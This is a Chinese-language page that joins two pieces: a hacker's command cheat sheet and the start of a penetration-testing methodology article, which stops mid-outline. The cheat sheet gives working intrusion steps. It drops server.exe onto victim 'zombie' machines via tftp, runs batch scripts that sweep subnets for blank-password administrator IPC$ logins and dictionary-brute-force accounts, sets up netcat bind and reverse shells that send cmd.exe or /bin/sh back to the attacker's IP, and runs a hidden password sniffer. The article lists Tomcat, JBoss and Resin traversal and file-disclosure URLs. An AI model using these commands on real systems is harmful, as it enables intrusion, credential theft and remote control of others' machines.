tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )
print 文件名 列印文本文件
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)??針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況
IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip
MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。
Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)
附:批處理命令與變數
1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0?%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2?%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3
(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1}
command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關
IN (set):指在(set)中取值;DO command :指執行command
參數:/L 指用增量形式{(set)為增量形式時};/F 指從文件中不斷取值,直到取完為止{(set)為文件時,如(d:\pass.txt)時}。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt
for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。
/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。
2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」
(二)系統外部命令(均需下載相關工具):
1、瑞士軍刀:nc.exe
參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt >> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
>與>>的區別 ">"指:覆蓋;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\log.txt和@dir c:\winnt > d:\log.txt二個命令分別執行二次比較看:用>>的則是把二次的結果都保存了,而用:>則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。
2、掃錨工具:xscan.exe
基本格式
xscan -host <起始IP>[-<終止IP>] <檢測項目> [其他選項] 掃錨"起始IP到終止IP"段的所有主機信息
xscan -file <主機列表文件名> <檢測項目> [其他選項] 掃錨"主機IP列表文件名"中的所有主機信息
檢測項目
-active 檢測主機是否存活
-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)
-port 檢測常用服務的埠狀態
-ftp 檢測FTP弱口令
-pub 檢測FTP服務匿名用戶寫許可權
-pop3 檢測POP3-Server弱口令
-smtp 檢測SMTP-Server漏洞
-sql 檢測SQL-Server弱口令
-smb 檢測NT-Server弱口令
-iis 檢測IIS編碼/解碼漏洞
-cgi 檢測CGI漏洞
-nasl 載入Nessus攻擊腳本
-all 檢測以上所有項目
其它選項
-i 適配器編號 設置網路適配器, <適配器編號>可通過"-l"參數獲取
-l 顯示所有網路適配器
-v 顯示詳細掃描進度
-p 跳過沒有響應的主機
-o 跳過沒有檢測到開放埠的主機
-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10
-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)
用法示例
xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機
xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標准埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機
xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標准埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機
3、命令行方式嗅探器: xsniff.exe
可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼
參數說明
-tcp 輸出TCP數據報
-udp 輸出UDP數據報
-icmp 輸出ICMP數據報
-pass 過濾密碼信息
-hide 後台運行
-host 解析主機名
-addr IP地址 過濾IP地址
-port 埠 過濾埠
-log 文件名 將輸出保存到文件
-asc 以ASCII形式輸出
-hex 以16進制形式輸出
用法示例
xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中
xsniff.exe -tcp -udp -asc -a
『伍』 如何對網站進行滲透測試和漏洞掃描
零、前言
滲透測試在未得到被測試方授權之前依據某些地區法律規定是違法行為。 這里我們提供的所有滲透測試方法均為(假設為)合法的評估服務,也就是通常所說的道德黑客行為(Ethical hacking),因此我們這里的所有讀者應當都是Ethical Hackers,如果您還不是,那麼我希望您到過這里後會成為他們中的一員 ;)
這里,我還想對大家說一些話:滲透測試重在實踐,您需要一顆永不言敗的心和一個有著活躍思維的大腦。不是說您將這一份文檔COPY到您網站上或者保存到本地電腦您就會了,即使您將它列印出來沾點辣椒醬吃了也不行,您一定要根據文檔一步一步練習才行。而且測試重在用腦,千萬別拿上一兩個本文中提到的工具一陣亂搞,我敢保證:互聯網的安全不為因為這樣而更安全。祝您好運。。。
一、簡介
什麼叫滲透測試?
滲透測試最簡單直接的解釋就是:完全站在攻擊者角度對目標系統進行的安全性測試過程。
進行滲透測試的目的?
了解當前系統的安全性、了解攻擊者可能利用的途徑。它能夠讓管理人員非常直觀的了解當前系統所面臨的問題。為什麼說叫直觀呢?就像Mitnick書裡面提到的那樣,安全管理(在這里我們改一下,改成安全評估工作)需要做到面面俱到才算成功,而一位黑客(滲透測試)只要能通過一點進入系統進行破壞,他就算是很成功的了。
滲透測試是否等同於風險評估?
不是,你可以暫時理解成滲透測試屬於風險評估的一部分。事實上,風險評估遠比滲透測試復雜的多,它除滲透測試外還要加上資產識別,風險分析,除此之外,也還包括了人工審查以及後期的優化部分(可選)。
已經進行了安全審查,還需要滲透測試嗎?
如果我對您說:嘿,中國的現有太空理論技術通過計算機演算已經能夠證明中國完全有能力實現宇航員太空漫步了,沒必要再發射神8了。您能接受嗎?
滲透測試是否就是黑盒測試?
否,很多技術人員對這個問題都存在這個錯誤的理解。滲透測試不只是要模擬外部黑客的入侵,同時,防止內部人員的有意識(無意識)攻擊也是很有必要的。這時,安全測試人員可以被告之包括代碼片段來內的有關於系統的一些信息。這時,它就滿足灰盒甚至白盒測試。
滲透測試涉及哪些內容?
技術層面主要包括網路設備,主機,資料庫,應用系統。另外可以考慮加入社會工程學(入侵的藝術/THE ART OF INTRUSION)。
滲透測試有哪些不足之處?
主要是投入高,風險高。而且必須是專業的Ethical Hackers才能相信輸出的最終結果。
你說的那麼好,為什麼滲透測試工作在中國開展的不是很火熱呢?
我只能說:會的,一定會的。滲透測試的關鍵在於沒法證明你的測試結果就是完善的。用戶不知道花了錢證明了系統有問題以後,自己的安全等級到了一個什麼程序。但是很顯然,用戶是相信一個專業且經驗豐富的安全團隊的,這個在中國問題比較嚴重。在我接觸了一些大型的安全公司進行的一些滲透測試過程來看,測試人員的水平是對不住開的那些價格的,而且從測試過程到結果報表上來看也是不負責的。我估計在三年以後,這種情況會有所改觀,到時一方面安全人員的技術力量有很大程度的改觀,另一方面各企業對滲透測試會有一個比較深刻的理解,也會將其做為一種IT審計的方式加入到開發流程中去。滲透測試的專業化、商業化會越來越成熟。
二、制定實施方案
實施方案應當由測試方與客戶之間進行溝通協商。一開始測試方提供一份簡單的問卷調查了解客戶對測試的基本接收情況。內容包括但不限於如下:
目標系統介紹、重點保護對象及特性。
是否允許數據破壞?
是否允許阻斷業務正常運行?
測試之前是否應當知會相關部門介面人?
接入方式?外網和內網?
測試是發現問題就算成功,還是盡可能的發現多的問題?
滲透過程是否需要考慮社會工程?
。。。
在得到客戶反饋後,由測試方書寫實施方案初稿並提交給客戶,由客戶進行審核。在審核完成後,客戶應當對測試方進行書面委託授權。這里,兩部分文檔分別應當包含如下內容:
實施方案部分:
...
書面委託授權部分:
...
三、具體操作過程
1、信息收集過程
網路信息收集:
在這一部還不會直接對被測目標進行掃描,應當先從網路上搜索一些相關信息,包括Google Hacking, Whois查詢, DNS等信息(如果考慮進行社會工程學的話,這里還可以相應從郵件列表/新聞組中獲取目標系統中一些邊緣信息如內部員工帳號組成,身份識別方式,郵件聯系地址等)。
1.使用whois查詢目標域名的DNS伺服器
2.nslookup
>set type=all
><domain>
>server <ns server>
>set q=all
>ls -d <domain>
涉及的工具包括:Google,Demon,webhosting.info,Apollo,Athena,GHDB.XML,netcraft,seologs除此之外,我想特別提醒一下使用Googlebot/2.1繞過一些文件的獲取限制。
Google hacking 中常用的一些語法描述
1.搜索指定站點關鍵字site。你可以搜索具體的站點如site:www.nosec.org。使用site:nosec.org可以搜索該域名下的所有子域名的頁面。甚至可以使用site:org.cn來搜索中國政府部門的網站。
2.搜索在URL網址中的關鍵字inurl。比如你想搜索帶參數的站點,你可以嘗試用inurl:asp?id=
3.搜索在網頁標題中的關鍵字intitle。如果你想搜索一些登陸後台,你可以嘗試使用intitle:"admin login"
目標系統信息收集:
通過上面一步,我們應當可以簡單的描繪出目標系統的網路結構,如公司網路所在區域,子公司IP地址分布,VPN接入地址等。這里特別要注意一些比較偏門的HOST名稱地址,如一些backup開頭或者temp開關的域名很可能就是一台備份伺服器,其安全性很可能做的不夠。
從獲取的地址列表中進行系統判斷,了解其組織架構及操作系統使用情況。最常用的方法的是目標所有IP網段掃描。
埠/服務信息收集:
這一部分已經可以開始直接的掃描操作,涉及的工具包括:nmap,thc-amap
1.我最常使用的參數
nmap -sS -p1-10000 -n -P0 -oX filename.xml --open -T5 <ip address>
應用信息收集:httprint,SIPSCAN,smap
這里有必要將SNMP拿出來單獨說一下,因為目前許多運營商、大型企業內部網路的維護台通過SNMP進行數據傳輸,大部分情況是使用了默認口令的,撐死改了private口令。這樣,攻擊者可以通過它收集到很多有效信息。snmp-gui,HiliSoft MIB Browser,mibsearch,net-snmp都是一些很好的資源。
2、漏洞掃描
這一步主要針對具體系統目標進行。如通過第一步的信息收集,已經得到了目標系統的IP地址分布及對應的域名,並且我們已經通過一些分析過濾出少許的幾個攻擊目標,這時,我們就可以針對它們進行有針對性的漏洞掃描。這里有幾個方面可以進行:
針對系統層面的工具有:ISS, Nessus, SSS, Retina, 天鏡, 極光
針對WEB應用層面的工具有:AppScan, Acunetix Web Vulnerability Scanner, WebInspect, Nstalker
針對資料庫的工具有:ShadowDatabaseScanner, NGSSQuirreL
針對VOIP方面的工具有:PROTOS c07 sip(在測試中直接用這個工具轟等於找死)以及c07 h225, Sivus, sipsak等。
事實上,每個滲透測試團隊或多或少都會有自己的測試工具包,在漏洞掃描這一塊針對具體應用的工具也比較個性化。
3、漏洞利用
有時候,通過服務/應用掃描後,我們可以跳過漏洞掃描部分,直接到漏洞利用。因為很多情況下我們根據目標服務/應用的版本就可以到一些安全網站上獲取針對該目標系統的漏洞利用代碼,如milw0rm, securityfocus,packetstormsecurity等網站,上面都對應有搜索模塊。實在沒有,我們也可以嘗試在GOOGLE上搜索「應用名稱 exploit」、「應用名稱 vulnerability」等關鍵字。
當然,大部分情況下你都可以不這么麻煩,網路中有一些工具可供我們使用,最著名的當屬metasploit了,它是一個開源免費的漏洞利用攻擊平台。其他的多說無益,您就看它從榜上無名到沖進前五(top 100)這一點來說,也能大概了解到它的威力了。除此之外,如果您(您們公司)有足夠的moeny用於購買商用軟體的話,CORE IMPACT是相當值得考慮的,雖然說價格很高,但是它卻是被業界公認在滲透測試方面的泰山北斗,基本上測試全自動。如果您覺得還是接受不了,那麼您可以去購買CANVAS,據說有不少0DAY,不過它跟metasploit一樣,是需要手動進行測試的。最後還有一個需要提及一下的Exploitation_Framework,它相當於一個漏洞利用代碼管理工具,方便進行不同語言,不同平台的利用代碼收集,把它也放在這里是因為它本身也維護了一個exploit庫,大家參考著也能使用。
上面提到的是針對系統進行的,在針對WEB方面,注入工具有NBSI, OWASP SQLiX, SQL Power Injector, sqlDumper, sqlninja, sqlmap, Sqlbftools, priamos, ISR-sqlget***等等。
在針對資料庫方面的工具有:
資料庫 工具列表 Oracle(1521埠): 目前主要存在以下方面的安全問題:
1、TNS監聽程序攻擊(sid信息泄露,停止服務等)
2、默認賬號(default password list)
3、SQL INJECTION(這個與傳統的意思還不太一樣)
4、緩沖區溢出,現在比較少了。 thc-orakel, tnscmd, oscanner, Getsids, TNSLSNR, lsnrcheck, OAT, Checkpwd, orabf MS Sql Server(1433、1434埠) Mysql(3306埠) DB2(523、50000、50001、50002、50003埠) db2utils Informix(1526、1528埠)
在針對Web伺服器方面的工具有:
WEB伺服器 工具列表 IIS IISPUTSCANNER Tomcat 想起/admin和/manager管理目錄了嗎?另外,目錄列表也是Tomcat伺服器中最常見的問題。比如5.*版本中的http://127.0.0.1/;index.jsp
http://www.example.com/foo/"../manager/html
http://www.example.com:8080/examples/servlets/servlet/CookieExample?cookiename=HAHA&cookievalue=%5C%22FOO%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2F%3B
http://www.example.com:8080/servlets-examples/servlet/CookieExample?cookiename=BLOCKER&cookievalue=%5C%22A%3D%27%3B+Expires%3DThu%2C+1+Jan+2009+00%3A00%3A01+UTC%3B+Path%3D%2Fservlets-examples%2Fservlet+%3B JBOSS jboss的漏洞很少,老版本中8083埠有%符號的漏洞:
GET %. HTTP/1.0可以獲取物理路徑信息,
GET %server.policy HTTP/1.0可以獲取安全策略配置文檔。
你也可以直接訪問GET %org/xxx/lib.class來獲取編譯好的java程序,再使用一些反編譯工具還原源代碼。 Apache Resin http://victim/C:%5C/
http://victim/resin-doc/viewfile/?file=index.jsp
http://victim/resin-doc/viewfile/?contextpath=/otherwebapp&servletpath=&file=WEB-INF/web.xml
http://victim/resin-doc/viewfile/?contextpath=/&servletpath=&file=WEB-INF/classes/com/webapp/app/target.class
http://victim/[path]/[device].[extension]
http://victim/%20.."web-inf
http://victim/%20
http://victim/[path]/%20.xtp WebLogic
Web安全測試主要圍繞幾塊進行:
Information Gathering:也就是一般的信息泄漏,包括異常情況下的路徑泄漏、文件歸檔查找等
Business logic testing:業務邏輯處理攻擊,很多情況下用於進行業務繞過或者欺騙等等
Authentication Testing:有無驗證碼、有無次數限制等,總之就是看能不能暴力破解或者說容不容易通過認證,比較直接的就是「默認口令」或者弱口令了
Session Management Testing:會話管理攻擊在COOKIE攜帶認證信息時最有效
Data Validation Testing:數據驗證最好理解了,就是SQL Injection和Cross Site Script等等
目前網上能夠找到許多能夠用於進行Web測試的工具,根據不同的功能分主要有:
枚舉(Enumeration): DirBuster, http-dir-enum, wget
基於代理測試類工具:paros, webscarab, Burp Suite
針對WebService測試的部分有一些尚不是很成熟的工具,如:wsbang,wschess,wsmap,wsdigger,wsfuzzer
這一部分值得一提的是,很多滲透測試團隊都有著自己的測試工具甚至是0DAY代碼,最常見的是SQL注入工具,現網開發的注入工具(如NBSI等)目前都是針對中小企業或者是個人站點/資料庫進行的,針對大型目標系統使用的一些相對比較偏門的資料庫系統(如INFORMIX,DB2)等,基本上還不涉及或者說還不夠深入。這時各滲透測試團隊就開發了滿足自身使用習慣的測試工具。
在針對無線環境的攻擊有:WifiZoo
4、許可權提升
在前面的一些工作中,你或許已經得到了一些控制許可權,但是對於進一步攻擊來說卻還是不夠。例如:你可能很容易的能夠獲取Oracle資料庫的訪問許可權,或者是得到了UNIX(AIX,HP-UX,SUNOS)的一個基本賬號許可權,但是當你想進行進一步的滲透測試的時候問題就來了。你發現你沒有足夠的許可權打開一些密碼存儲文件、你沒有辦法安裝一個SNIFFER、你甚至沒有許可權執行一些很基本的命令。這時候你自然而然的就會想到許可權提升這個途徑了。
目前一些企業對於補丁管理是存在很大一部分問題的,他們可能壓根就沒有想過對一些伺服器或者應用進行補丁更新,或者是延時更新。這時候就是滲透測試人員的好機會了。經驗之談:有一般許可權的Oracle賬號或者AIX賬號基本上等於root,因為這就是現實生活。
5、密碼破解
